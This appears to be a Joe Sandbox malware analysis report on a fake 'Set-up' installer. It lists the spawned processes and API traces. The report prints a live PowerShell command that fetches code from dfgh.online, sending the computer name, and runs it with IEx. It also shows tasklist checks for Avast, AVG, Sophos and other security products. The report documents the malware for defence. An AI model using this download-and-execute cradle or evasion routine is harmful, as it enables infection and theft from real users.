Commandline:	cmd /c copy /b ..\Initiated + ..\Monitors + ..\Arrived + ..\Spoken + ..\Distribution + ..\Ranks + ..\Gotta f
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:25:07
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\271185\Auckland.com
Wow64 process (32bit):	true
Commandline:	Auckland.com f
Imagebase:	0xaf0000
File size:	947'288 bytes
MD5 hash:	62D09F076E6E0240548C2F837536A46A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:25:07
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\choice.exe
Wow64 process (32bit):	true
Commandline:	choice /d y /t 5
Imagebase:	0x680000
File size:	28'160 bytes
MD5 hash:	FCE0E41C87DC4ABBE976998AD26C27E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	12:25:46
Start date:	05/01/2025
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	powershell -exec bypass [Net.servicepOINTmANaGer]::SEcURiTyPrOtoCOl = [Net.SecUriTyprOtocoltYPe]::tLs12; $gD='https://dfgh.online/invoker.php?compName='+$env:computername; $pTSr = iWr -uRi $gD -uSebASIcpARsiNg -UsErAGent 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/57.36 (KHTML, like Gecko) Chrome/12.0.0.0 Safari/57.36'; IEx $Ptsr.Content; C
Imagebase:	0x1f0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	12:25:46
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	12:25:54
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe"
Imagebase:	0x8a0000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 74%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	12:25:54
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-POPLO.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp" /SL5="$40428,7785838,845824,C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe"
Imagebase:	0x6d0000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	12:25:55
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" /VERYSILENT
Imagebase:	0x8a0000
File size:	8'767'044 bytes
MD5 hash:	51F99EDDD33CC04FB0F55F873B76D907
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	12:25:56
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\is-CH95H.tmp\PSNDEYKP9CHQN0J79BBDFB.tmp" /SL5="$50428,7785838,845824,C:\Users\user\AppData\Local\Temp\PSNDEYKP9CHQN0J79BBDFB.exe" /VERYSILENT
Imagebase:	0x970000
File size:	3'367'424 bytes
MD5 hash:	F809F51E678B7F2E388F8C969EF902C8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	12:26:24
Start date:	05/01/2025
Path:	C:\Windows\System32\timeout.exe
Wow64 process (32bit):	false
Commandline:	"timeout" 9
Imagebase:	0x7ff62bd10000
File size:	32'768 bytes
MD5 hash:	100065E21CFBBDE57CBA2838921F84D6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	12:26:24
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH \| find /I "wrsa.exe"
Imagebase:	0x7ff6b6930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq wrsa.exe" /FO CSV /NH
Imagebase:	0x7ff6f6860000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "wrsa.exe"
Imagebase:	0x7ff64c480000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH \| find /I "opssvc.exe"
Imagebase:	0x7ff6b6930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq opssvc.exe" /FO CSV /NH
Imagebase:	0x7ff6f6860000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "opssvc.exe"
Imagebase:	0x7ff64c480000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH \| find /I "avastui.exe"
Imagebase:	0x7ff6b6930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avastui.exe" /FO CSV /NH
Imagebase:	0x7ff6f6860000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	12:26:33
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avastui.exe"
Imagebase:	0x7ff64c480000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	12:26:34
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH \| find /I "avgui.exe"
Imagebase:	0x7ff6b6930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	12:26:34
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	12:26:34
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe" /FO CSV /NH
Imagebase:	0x7ff6f6860000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	12:26:34
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "avgui.exe"
Imagebase:	0x7ff64c480000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	12:26:34
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH \| find /I "nswscsvc.exe"
Imagebase:	0x7ff6b6930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	12:26:34
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	12:26:34
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq nswscsvc.exe" /FO CSV /NH
Imagebase:	0x7ff6f6860000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	12:26:34
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "nswscsvc.exe"
Imagebase:	0x7ff64c480000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	12:26:35
Start date:	05/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"cmd.exe" /C tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH \| find /I "sophoshealth.exe"
Imagebase:	0x7ff6b6930000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	12:26:35
Start date:	05/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	12:26:35
Start date:	05/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq sophoshealth.exe" /FO CSV /NH
Imagebase:	0x7ff6f6860000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	12:26:35
Start date:	05/01/2025
Path:	C:\Windows\System32\find.exe
Wow64 process (32bit):	false
Commandline:	find /I "sophoshealth.exe"
Imagebase:	0x7ff64c480000
File size:	17'920 bytes
MD5 hash:	4BF76A28D31FC73AA9FC970B22D056AF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	12:26:41
Start date:	05/01/2025
Path:	C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\ColorStreamLib\BrightLib.exe"
Imagebase:	0x400000
File size:	846'325'235 bytes
MD5 hash:	6A8860A8150021B2D5B9BB707DE4FA37
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	18.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	20.7%
Total number of Nodes:	1525
Total number of Limit Nodes:	33

Executed Functions

Function 004050CD Relevance: 68.5, APIs: 36, Strings: 3, Instructions: 295
windowclipboardmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetDlgItem.USER32(?,00000403), ref: 0040512F
GetDlgItem.USER32(?,000003EE), ref: 0040513E
GetClientRect.USER32(?,?), ref: 00405196
GetSystemMetrics.USER32(00000015), ref: 0040519E
SendMessageW.USER32(?,00001061,00000000,00000002), ref: 004051BF
SendMessageW.USER32(?,00001036,00004000,00004000), ref: 004051D0
SendMessageW.USER32(?,00001001,00000000,00000110), ref: 004051E3
SendMessageW.USER32(?,00001026,00000000,00000110), ref: 004051F1
SendMessageW.USER32(?,00001024,00000000,?), ref: 00405204
ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00405226
ShowWindow.USER32(?,00000008), ref: 0040523A
GetDlgItem.USER32(?,000003EC), ref: 0040525B
SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 0040526B
SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00405280
SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 0040528C
GetDlgItem.USER32(?,000003F8), ref: 0040514D

Part of subcall function 00403D98: SendMessageW.USER32(00000028,?,00000001,004057B4), ref: 00403DA6

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Part of subcall function 004062A3: lstrlenW.KERNEL32(RMDir: RemoveDirectory invalid input(""),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

GetDlgItem.USER32(?,000003EC), ref: 004052AB
CreateThread.KERNELBASE(00000000,00000000,Function_00005047,00000000), ref: 004052B9
CloseHandle.KERNELBASE(00000000), ref: 004052C0
ShowWindow.USER32(00000000), ref: 004052E7
ShowWindow.USER32(?,00000008), ref: 004052EC
ShowWindow.USER32(00000008), ref: 00405333
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405365
CreatePopupMenu.USER32 ref: 00405376
AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 0040538B
GetWindowRect.USER32(?,?), ref: 0040539E
TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 004053C0
SendMessageW.USER32(?,00001073,00000000,?), ref: 004053FB
OpenClipboard.USER32(00000000), ref: 0040540B
EmptyClipboard.USER32 ref: 00405411
GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 0040541D
GlobalLock.KERNEL32(00000000), ref: 00405427
SendMessageW.USER32(?,00001073,00000000,?), ref: 0040543B
GlobalUnlock.KERNEL32(00000000), ref: 0040545D
SetClipboardData.USER32(0000000D,00000000), ref: 00405468
CloseClipboard.USER32 ref: 0040546E

Strings

{, xrefs: 00405352
New install of "%s" to "%s", xrefs: 00405182
@rD, xrefs: 004053D7

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlockVersionlstrlenwvsprintf
String ID: @rD$New install of "%s" to "%s"${
API String ID: 2110491804-2409696222
Opcode ID: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction ID: 480b9f2609884c7685ddca5963e0cfcc77f9e358d06567921943d8ab7e89b76b
Opcode Fuzzy Hash: 71b8ecf663d6f058a1c3ced55927feebbdcf1e8b0d86afd2c4b352cd48bee751
Instruction Fuzzy Hash: 14B15B70800608FFDB11AFA0DD85EAE7B79EF44355F00803AFA45BA1A0CBB49A519F59

Function 00403883 Relevance: 54.6, APIs: 22, Strings: 9, Instructions: 304
filestringcomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

#17.COMCTL32 ref: 004038A2
SetErrorMode.KERNELBASE(00008001), ref: 004038AD
OleInitialize.OLE32(00000000), ref: 004038B4

Part of subcall function 004062FC: GetModuleHandleA.KERNEL32(?,?,00000020,004038C6,00000008), ref: 0040630A
Part of subcall function 004062FC: LoadLibraryA.KERNELBASE(?,?,?,00000020,004038C6,00000008), ref: 00406315
Part of subcall function 004062FC: GetProcAddress.KERNEL32(00000000), ref: 00406327

SHGetFileInfoW.SHELL32(00409264,00000000,?,000002B4,00000000), ref: 004038DC

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetCommandLineW.KERNEL32(0046ADC0,NSIS Error), ref: 004038F1
GetModuleHandleW.KERNEL32(00000000,004C30A0,00000000), ref: 00403904
CharNextW.USER32(00000000,004C30A0,00000020), ref: 0040392B
GetTempPathW.KERNEL32(00002004,004D70C8,00000000,00000020), ref: 00403A00
GetWindowsDirectoryW.KERNEL32(004D70C8,00001FFF), ref: 00403A15
lstrcatW.KERNEL32(004D70C8,\Temp), ref: 00403A21
DeleteFileW.KERNELBASE(004D30C0), ref: 00403A38
CoUninitialize.COMBASE(?), ref: 00403AD1
ExitProcess.KERNEL32 ref: 00403AF1
lstrcatW.KERNEL32(004D70C8,~nsu.tmp), ref: 00403AFD
lstrcmpiW.KERNEL32(004D70C8,004CF0B8,004D70C8,~nsu.tmp), ref: 00403B09
CreateDirectoryW.KERNEL32(004D70C8,00000000), ref: 00403B15
SetCurrentDirectoryW.KERNEL32(004D70C8), ref: 00403B1C
DeleteFileW.KERNEL32(004331E8,004331E8,?,00477008,00409204,00473000,?), ref: 00403B6D
CopyFileW.KERNEL32(004DF0D8,004331E8,00000001), ref: 00403B81
CloseHandle.KERNEL32(00000000,004331E8,004331E8,?,004331E8,00000000), ref: 00403BAE
GetCurrentProcess.KERNEL32(00000028,00000005,00000005,00000004,00000003), ref: 00403C04
ExitWindowsEx.USER32(00000002,00000000), ref: 00403C40

Strings

/D=, xrefs: 004039A6
\Temp, xrefs: 00403A1B
~nsu.tmp, xrefs: 00403AF7
_?=, xrefs: 00403A64
Error launching installer, xrefs: 00403A7D
SeShutdownPrivilege, xrefs: 00403C16
1C, xrefs: 00403B56
NSIS Error, xrefs: 004038E2
NCRC, xrefs: 0040397C

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: File$DirectoryHandle$CurrentDeleteExitModuleProcessWindowslstrcat$AddressCharCloseCommandCopyCreateErrorInfoInitializeLibraryLineLoadModeNextPathProcTempUninitializelstrcmpilstrcpyn
String ID: /D=$ _?=$Error launching installer$NCRC$NSIS Error$SeShutdownPrivilege$\Temp$~nsu.tmp$1C
API String ID: 2435955865-239407132
Opcode ID: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction ID: 7cf1fa831aca86d96b8495533088dbe4cf0b0326274ef0a42366eb07f7c747b9
Opcode Fuzzy Hash: 5d9024d5f0e899f809313532158b428341dd342d07cfae74060de4bd372621f4
Instruction Fuzzy Hash: C4A1B671544305BAD6207F629D4AF1B3EACAF0070AF15483FF585B61D2DBBC8A448B6E

Function 00406805 Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 212
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6
GetSystemDirectoryW.KERNEL32(00462540,00002004), ref: 00406958

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GetWindowsDirectoryW.KERNEL32(00462540,00002004), ref: 0040696B
lstrcatW.KERNEL32(00462540,\Microsoft\Internet Explorer\Quick Launch), ref: 004069E5
lstrlenW.KERNEL32(00462540,0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 00406A47

Strings

@%F, xrefs: 00406A53
\Microsoft\Internet Explorer\Quick Launch, xrefs: 004069DF
Software\Microsoft\Windows\CurrentVersion, xrefs: 00406926
@%F, xrefs: 0040682C

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676450202.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.000000000048F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676481892.00000000004B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1676730964.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_'Set-up.jbxd

Similarity

API ID: Directory$SystemVersionWindowslstrcatlstrcpynlstrlen
String ID: @%F$@%F$Software\Microsoft\Windows\CurrentVersion$\Microsoft\Internet Explorer\Quick Launch
API String ID: 3581403547-784952888
Opcode ID: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction ID: 7881bd453c5698e0e02013fa1c3524f2cf467b60749c67c5a59258f73e57ab2a
Opcode Fuzzy Hash: 93666727498e5f08fd38b631bc67a6e1ad40de3ecc08933b567c44a166c18943
Instruction Fuzzy Hash: F171F4B1A00215ABDB20AF28CD44A7E3771EF55314F12C03FE906B62E0E77C89A19B5D

Function 004074BB Relevance: 5.4, APIs: 4, Instructions: 382
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1676421607.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1676382978.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
